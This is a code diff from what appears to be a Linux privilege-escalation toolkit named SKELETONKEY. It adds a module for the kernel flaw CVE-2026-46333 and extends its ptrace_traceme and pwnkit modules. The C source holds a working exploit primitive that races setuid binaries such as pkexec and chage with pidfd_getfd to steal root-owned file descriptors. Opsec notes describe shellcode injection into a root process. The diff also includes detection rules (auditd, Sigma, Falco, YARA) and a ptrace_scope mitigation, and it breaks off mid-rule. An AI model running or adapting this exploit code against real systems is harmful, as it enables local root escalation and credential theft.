+`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
+before duplicating a descriptor out of the target process. During the
+stale window that check wrongly succeeds, so an unprivileged process can
+pull descriptors — a root-opened credential file, or an authenticated
+D-Bus / socket channel — out of a transiently-privileged process and
+re-use them under its own uid.
+
+## Affected range
+
+| | |
+|---|---|
+| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
+| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
+| Fixed upstream | mainline, 2026-05-14 |
+| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
+
+Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
+the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
+the real primitive and confirm empirically.
+
+## Trigger / detection
+
+`detect()` consults the shared host fingerprint, returns `OK` below 5.6
+(no vector) or for patched branches, otherwise `VULNERABLE`. No active
+probe — the empirical confirmation lives in the exploit path, which
+spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
+table, reporting any uid-0-owned descriptor captured from a non-root
+context.
+
+## Fix / mitigation
+
+Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
+(or `3`) closes the `pidfd_getfd` path because it gates the same
+`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
+`--cleanup` reverts it.
+
+## Credit
+
+Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.

modules/ptrace_pidfd_cve_2026_46333/NOTICE.md

@@ -0,0 +1,51 @@
+# NOTICE — ptrace_pidfd (CVE-2026-46333)
+
+## Vulnerability
+
+**CVE-2026-46333** — a logic flaw in the Linux kernel's
+`__ptrace_may_access()` path leaves a privileged process that is
+*dropping* its credentials briefly reachable through ptrace-family
+operations, even though its `dumpable` flag should already have closed
+that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
+capture open file descriptors and authenticated IPC channels from a
+dying privileged process and re-use them under their own uid → local
+root and credential disclosure.
+
+The underlying flaw has resided in mainline since **v4.10-rc1**
+(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
+**v5.6** (January 2020). Affects default installations of Debian 13,
+Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
+
+## Research credit
+
+Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
+published 2026-05-20. The four proof-of-concept exploits demonstrated
+by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
+`accounts-daemon`.
+
+- Qualys advisory:
+  <https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
+- Upstream fix: mainline, committed 2026-05-14.
+- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
+  (bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
+
+All research credit for finding and analysing this bug belongs to
+Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
+`detect()` is version-pinned against the Debian backport thresholds
+above (kernels < 5.6 are reported OK, lacking the bundled vector).
+`exploit()` fires the real primitive: it spawns a setuid victim,
+`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
+table during the credential-drop window, recording whether a root-owned
+descriptor is actually captured from a non-root context. It returns
+`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
+fd-weaponization that lands a root shell is **not** bundled until it can
+be verified end-to-end against a real vulnerable VM, in keeping with the
+project's no-fabrication rule.
+
+`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
+rides); `--cleanup` restores it. Architecture-agnostic — the technique
+steals descriptors rather than injecting shellcode.

modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.c

@@ -0,0 +1,458 @@
+/*
+ * ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
+ *
+ * CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
+ * path leaves a privileged process that is *dropping* its credentials
+ * briefly reachable through ptrace-family operations even though its
+ * `dumpable` flag should already have closed that path. Paired with the
+ * pidfd_getfd(2) syscall, an unprivileged local user can capture open
+ * file descriptors and authenticated IPC channels from a dying
+ * privileged process and re-use them under their own uid → local root
+ * and credential disclosure. Disclosed by Qualys (2026-05-20).
+ *
+ * STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
+ * detect() is version-pinned (Debian-tracked backports below). exploit()
+ * fires the real primitive — spawn a setuid target, pidfd_open() it, and
+ * sweep pidfd_getfd() across its descriptor table during the cred-drop
+ * window — and records whether a root-owned fd was actually captured.
+ * It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
+ * root it did not get (the full target-specific fd-weaponization chain,
+ * per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
+ * not bundled until it can be VM-verified end-to-end).
+ *
+ * Affected range:
+ *   The __ptrace_may_access logic flaw has been in mainline since
+ *   v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
+ *   was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
+ *   out of reach for the bundled technique. Fixed upstream 2026-05-14.
+ *   Debian-tracked stable backports:
+ *     5.10.x : K >= 5.10.251  (bullseye)
+ *     6.1.x  : K >= 6.1.172   (bookworm)
+ *     6.12.x : K >= 6.12.88   (trixie)
+ *     7.0.x  : K >= 7.0.7     (forky / sid)
+ *
+ * No exotic preconditions: needs only a local unprivileged user and a
+ * setuid-root binary or transiently-privileged daemon to victimise. Does
+ * not need user namespaces. Architecture-agnostic — the technique steals
+ * descriptors rather than injecting shellcode.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
+ * redefine here (warning: redefined). */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include <errno.h>
+#include <fcntl.h>
+#include <pwd.h>
+#include <signal.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
+ * SYS_pidfd_*; fall back to the asm-generic numbers (identical on
+ * x86_64 / arm64 / most arches) when building against older headers so
+ * the module still compiles on an old toolchain. */
+#ifndef SYS_pidfd_open
+#define SYS_pidfd_open 434
+#endif
+#ifndef SYS_pidfd_getfd
+#define SYS_pidfd_getfd 438
+#endif
+
+static int sk_pidfd_open(pid_t pid, unsigned int flags)
+{
+    return (int)syscall(SYS_pidfd_open, pid, flags);
+}
+static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
+{
+    return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
+}
+
+/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
+ * authoritative thresholds (security-tracker.debian.org); branches
+ * Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
+ * version-only verdict below — confirm those empirically. */
+static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
+    {5, 10, 251},  /* 5.10-LTS backport (Debian bullseye) */
+    {6,  1, 172},  /* 6.1-LTS  backport (Debian bookworm) */
+    {6, 12,  88},  /* 6.12-LTS backport (Debian trixie) */
+    {7,  0,   7},  /* 7.0 stable        (Debian forky / sid) */
+};
+
+static const struct kernel_range ptrace_pidfd_range = {
+    .patched_from = ptrace_pidfd_patched_branches,
+    .n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
+                      sizeof(ptrace_pidfd_patched_branches[0]),
+};
+
+static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
+{
+    /* Consult the shared host fingerprint instead of re-reading uname —
+     * populated once at startup, identical across every module. */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
+                "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* The bundled technique drives the bug through pidfd_getfd(2), which
+     * was added in 5.6. Kernels older than that lack the vector (the
+     * underlying __ptrace_may_access flaw is older, but this module does
+     * not carry a pre-pidfd path). */
+    if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
+        if (!ctx->json) {
+            fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
+                            "vector (added 5.6) — bundled technique N/A\n",
+                    v->release);
+        }
+        return SKELETONKEY_OK;
+    }
+
+    if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
+                            "(version-only check)\n", v->release);
+        }
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
+                        "(version-only check)\n", v->release);
+        fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
+                        "local user + a setuid/transiently-privileged victim "
+                        "(no user_ns)\n");
+        fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
+                        "(5.15/6.6/6.18/6.19) are version-only here; confirm with "
+                        "`--exploit ptrace_pidfd --i-know` which fires the real "
+                        "pidfd_getfd primitive\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
+ * sensitive descriptors while privileged before settling. Qualys's PoCs
+ * targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
+ * whichever exist with the setuid bit actually set. */
+static const char *find_setuid_victim(void)
+{
+    static const char *targets[] = {
+        "/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
+        "/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
+        "/usr/bin/su", "/bin/su", NULL,
+    };
+    for (size_t i = 0; targets[i]; i++) {
+        struct stat st;
+        if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
+            return targets[i];
+    }
+    return NULL;
+}
+
+/* Benign, read-only invocation per victim so the spawned setuid process
+ * does something harmless while we race its descriptor table. */
+static void exec_victim_benign(const char *victim, const char *self_user)
+{
+    char *envp[] = {
+        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
+        NULL
+    };
+    if (strstr(victim, "chage")) {
+        char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
+        execve(victim, argv, envp);
+    } else if (strstr(victim, "pkexec")) {
+        char *argv[] = { (char *)victim, "--version", NULL };
+        execve(victim, argv, envp);
+    } else {
+        /* ssh-keysign / passwd / su: --help or --version exits fast and
+         * touches no state. */
+        char *argv[] = { (char *)victim, "--help", NULL };
+        execve(victim, argv, envp);
+    }
+    _exit(127);  /* execve failed */
+}
+
+static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
+{
+    skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
+        return SKELETONKEY_OK;
+    }
+
+    const char *victim = find_setuid_victim();
+    if (!victim) {
+        fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
+                        "(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    struct passwd *pw = getpwuid(geteuid());
+    const char *self_user = pw ? pw->pw_name : "root";
+    if (!ctx->json)
+        fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
+
+    /* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
+     * child and sweeps pidfd_getfd() across its descriptor table while it
+     * transitions through its privileged window. On a PATCHED kernel
+     * __ptrace_may_access denies us (EPERM) once the child is root +
+     * non-dumpable; on a VULNERABLE kernel the stale window lets the
+     * steal land. A captured fd whose owner is uid 0 while we are not is
+     * the empirical witness that the bug fired. */
+    pid_t child = fork();
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
+    if (child == 0) {
+        /* Small delay so the parent has the pidfd open before we exec
+         * into (and briefly become) the privileged image. */
+        usleep(20 * 1000);
+        exec_victim_benign(victim, self_user);
+        _exit(127);
+    }
+
+    int pidfd = sk_pidfd_open(child, 0);
+    if (pidfd < 0) {
+        if (errno == ENOSYS) {
+            fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
+                            "the vector despite version check\n");
+            int s; waitpid(child, &s, 0);
+            return SKELETONKEY_PRECOND_FAIL;
+        }
+        perror("pidfd_open");
+        int s; waitpid(child, &s, 0);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Tight steal loop across the victim's likely descriptor range during
+     * its privileged window. We do not destroy anything: captured fds are
+     * fstat()'d to fingerprint ownership, then closed. */
+    int root_fds = 0, captured = 0;
+    bool enosys = false;
+    for (int round = 0; round < 200; round++) {
+        for (int tfd = 0; tfd < 32; tfd++) {
+            int got = sk_pidfd_getfd(pidfd, tfd, 0);
+            if (got < 0) {
+                if (errno == ENOSYS) { enosys = true; break; }
+                continue;  /* EPERM (patched / outside window) or EBADF */
+            }
+            captured++;
+            struct stat st;
+            if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
+                root_fds++;
+                if (!ctx->json) {
+                    char lpath[64], target[256] = {0};
+                    snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
+                    ssize_t n = readlink(lpath, target, sizeof target - 1);
+                    if (n > 0) target[n] = 0;
+                    fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
+                                    "fd from victim (uid0 %s mode %o)%s%s\n",
+                            (st.st_mode & S_IFMT) == S_IFREG ? "file" :
+                            (st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
+                            (unsigned)(st.st_mode & 07777),
+                            n > 0 ? " -> " : "", n > 0 ? target : "");
+                }
+            }
+            close(got);
+        }
+        if (enosys) break;
+    }
+
+    close(pidfd);
+    int status; waitpid(child, &status, 0);
+
+    if (enosys) {
+        fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    if (root_fds > 0) {
+        /* The bug demonstrably fired: we, as a non-root user, pulled a
+         * uid-0-owned descriptor out of the victim past the dumpable
+         * boundary. We deliberately STOP here rather than fabricate a
+         * root shell — turning a captured fd into root is target-specific
+         * (which fd, writable vs. authenticated channel) and is not
+         * bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
+        fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
+                        "captured from a non-root context (CVE-2026-46333 reachable).\n"
+                        "[i] ptrace_pidfd: full root-pop is target-specific and not yet "
+                        "VM-verified; not fabricating a shell. See module NOTICE.md.\n",
+                root_fds);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!ctx->json) {
+        fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
+                        "— primitive blocked (kernel likely patched, or the victim "
+                        "exposed no privileged fd in its window)\n", captured);
+    }
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
+ * is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
+ * or 3 (no attach) closes the bundled vector without a reboot. Needs
+ * root to write the sysctl; best-effort + honest report otherwise. The
+ * real fix is the kernel patch. */
+static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    const char *path = "/proc/sys/kernel/yama/ptrace_scope";
+    int fd = open(path, O_WRONLY);
+    if (fd < 0) {
+        if (errno == ENOENT) {
+            fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
+                            "no runtime mitigation — upgrade the kernel\n", path);
+            return SKELETONKEY_PRECOND_FAIL;
+        }
+        fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
+                        "(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
+                path, strerror(errno));
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    ssize_t w = write(fd, "2\n", 2);
+    close(fd);
+    if (w != 2) {
+        fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
+                path, strerror(errno));
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
+                    "ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
+                    "This is a stopgap; patch the kernel.\n");
+    return SKELETONKEY_OK;
+}
+
+static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    /* Undo --mitigate: restore the permissive default (1 = restricted
+     * ptrace, the common distro default). Exploit itself leaves no file
+     * artifacts (the steal is in-memory), so there is nothing else to
+     * undo. */
+    const char *path = "/proc/sys/kernel/yama/ptrace_scope";
+    int fd = open(path, O_WRONLY);
+    if (fd < 0) return SKELETONKEY_OK;  /* nothing to restore */
+    ssize_t w = write(fd, "1\n", 2);
+    close(fd);
+    if (!ctx->json && w == 2)
+        fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
+    return SKELETONKEY_OK;
+}
+
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
+ * Linux-only ABI. Stub out so the module still registers and the
+ * top-level `make` completes on macOS/BSD dev boxes. */
+static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
+                "(pidfd_getfd cred-steal) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
+/* Embedded detection rules — keep the binary self-contained. The
+ * behavioural signal is pidfd_getfd(2) issued by a non-root process
+ * against a setuid/privileged target. Legitimate users of pidfd_getfd
+ * are rare and mostly root (container runtimes, debuggers) — a non-root
+ * pidfd_getfd is a strong indicator. */
+static const char ptrace_pidfd_auditd[] =
+    "# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
+    "# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
+    "# watch the credential files a successful steal would target.\n"
+    "-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
+    "-a always,exit -F arch=b64 -S pidfd_open  -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
+    "-w /etc/shadow  -p wa -k skeletonkey-ptrace-pidfd\n"
+    "-w /etc/passwd  -p wa -k skeletonkey-ptrace-pidfd\n";
+
+static const char ptrace_pidfd_sigma[] =
+    "title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
+    "id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
+    "  technique pidfd_open()s a transiently-privileged setuid process and\n"
+    "  pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
+    "  boundary __ptrace_may_access should have enforced. False positives:\n"
+    "  privileged container runtimes / debuggers that legitimately use pidfd.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  getfd:    {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
+    "  non_root: {auid|expression: '>= 1000'}\n"
+    "  condition: getfd and non_root\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
+
+static const char ptrace_pidfd_falco[] =
+    "- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
+    "  desc: |\n"
+    "    A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
+    "    another process. The CVE-2026-46333 cred-steal races a setuid\n"
+    "    binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
+    "    as it drops privileges, stealing a root-opened fd or authenticated\n"
+    "    channel past the dumpable boundary. False positives: container\n"
+    "    runtimes / debuggers using pidfd as root.\n"
+    "  condition: >\n"
+    "    evt.type = pidfd_getfd and not user.uid = 0\n"
+    "  output: >\n"
+    "    pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
+
+const struct skeletonkey_module ptrace_pidfd_module = {
+    .name           = "ptrace_pidfd",
+    .cve            = "CVE-2026-46333",
+    .summary        = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
+    .family         = "ptrace_pidfd",
+    .kernel_range   = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
+    .detect         = ptrace_pidfd_detect,
+    .exploit        = ptrace_pidfd_exploit,
+    .mitigate       = ptrace_pidfd_mitigate,
+    .cleanup        = ptrace_pidfd_cleanup,
+    .detect_auditd  = ptrace_pidfd_auditd,
+    .detect_sigma   = ptrace_pidfd_sigma,
+    .detect_yara    = NULL,   /* behavioural (syscall) bug — no file artifact to match */
+    .detect_falco   = ptrace_pidfd_falco,
+    .opsec_notes    = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_ptrace_pidfd(void)
+{
+    skeletonkey_register(&ptrace_pidfd_module);
+}

modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
+ */
+
+#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
+#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module ptrace_pidfd_module;
+
+#endif

modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c

@@ -53,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
     {4,  4, 182},
     {4,  9, 182},
     {4, 14, 131},
-    {4, 19,  58},
+    {4, 19,  37},   /* Debian tracker: earlier than 4.19.58 */
     {5,  0,  20},
     {5,  1,  17},
     {5,  2,   0},   /* mainline (5.2-rc) */
@@ -317,6 +317,42 @@ static const char ptrace_traceme_auditd[] =
     "-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
     "-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
 
+static const char ptrace_traceme_sigma[] =
+    "title: Possible CVE-2019-13272 PTRACE_TRACEME stale-cred LPE\n"
+    "id: 1a02c3a8-skeletonkey-ptrace-traceme\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects ptrace(PTRACE_TRACEME) immediately followed by parent\n"
+    "  execve of a setuid binary. The kernel stores the parent's pre-\n"
+    "  execve credentials on the ptrace_link; after execve the link\n"
+    "  is stale but ptrace still grants privileges. False positives:\n"
+    "  debuggers (gdb, strace) tracing setuid processes legitimately.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  traceme: {type: 'SYSCALL', syscall: 'ptrace', a0: 0}\n"
+    "  execve:  {type: 'SYSCALL', syscall: 'execve'}\n"
+    "  condition: traceme and execve\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2019.13272]\n";
+
+static const char ptrace_traceme_falco[] =
+    "- rule: PTRACE_TRACEME followed by setuid execve (cred escalation)\n"
+    "  desc: |\n"
+    "    Child calls ptrace(PTRACE_TRACEME) (recording parent's pre-\n"
+    "    execve creds); parent then execve's a setuid binary\n"
+    "    (pkexec, su, sudo). The stale ptrace_link grants the\n"
+    "    unprivileged child ptrace privileges over the now-root\n"
+    "    parent. CVE-2019-13272. False positives: debuggers (gdb,\n"
+    "    strace) tracing setuid processes legitimately.\n"
+    "  condition: >\n"
+    "    evt.type = ptrace and evt.arg.request = PTRACE_TRACEME and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    PTRACE_TRACEME by non-root\n"
+    "    (user=%user.name pid=%proc.pid ppid=%proc.ppid)\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2019.13272]\n";
+
 const struct skeletonkey_module ptrace_traceme_module = {
     .name           = "ptrace_traceme",
     .cve            = "CVE-2019-13272",
@@ -328,9 +364,11 @@ const struct skeletonkey_module ptrace_traceme_module = {
     .mitigate       = NULL,    /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
     .cleanup        = NULL,    /* exploit replaces our process image; no cleanup applies */
     .detect_auditd  = ptrace_traceme_auditd,
-    .detect_sigma   = NULL,
+    .detect_sigma   = ptrace_traceme_sigma,
     .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_falco   = ptrace_traceme_falco,
+    .opsec_notes    = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_ptrace_traceme(void)

modules/pwnkit_cve_2021_4034/skeletonkey_modules.c

@@ -384,6 +384,59 @@ static const char pwnkit_auditd[] =
     "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
     "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
 
+static const char pwnkit_yara[] =
+    "rule pwnkit_gconv_modules_cache : cve_2021_4034 lpe\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2021-4034\"\n"
+    "        description = \"Pwnkit gconv-modules cache: redefines UTF-8 to load an attacker .so via iconv when pkexec is invoked with argc==0.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "        reference   = \"https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\"\n"
+    "    strings:\n"
+    "        // gconv-modules text format: \"module FROM// TO// SHARED-OBJECT COST\".\n"
+    "        // Published PoCs redefine UTF-8 and point it at a .so dropped in /tmp.\n"
+    "        $line  = /module\\s+UTF-8\\/\\/\\s+\\S+\\/\\/\\s+\\S+\\s+\\d/\n"
+    "        $alias = /alias\\s+\\S+\\s+UTF-8/\n"
+    "        // Hint: PoC workdirs frequently include 'pwnkit' or 'GCONV' in path strings the .so carries.\n"
+    "        $marker_pwn  = \"pwnkit\" nocase\n"
+    "        $marker_gcv  = \"GCONV_PATH\"\n"
+    "    condition:\n"
+    "        // Small text-format file (gconv-modules caches are tiny) with the module redefinition.\n"
+    "        // Pair with -w /tmp -p wa auditd to catch the drop in real time.\n"
+    "        filesize < 4KB and $line and 1 of ($alias, $marker_pwn, $marker_gcv)\n"
+    "}\n";
+
+static const char pwnkit_falco[] =
+    "- rule: Pwnkit-style pkexec invocation (NULL argv)\n"
+    "  desc: |\n"
+    "    pkexec executed without argv (argc == 0). The Qualys PoC for\n"
+    "    CVE-2021-4034 invokes pkexec via execve with NULL argv so the\n"
+    "    out-of-bounds argv read picks up envp as if it were argv[1].\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = pkexec and\n"
+    "    (proc.cmdline = \"pkexec\" or proc.args = \"\")\n"
+    "  output: >\n"
+    "    Possible Pwnkit (CVE-2021-4034): pkexec spawned with no argv\n"
+    "    (user=%user.name uid=%user.uid pid=%proc.pid ppid=%proc.ppid\n"
+    "     parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
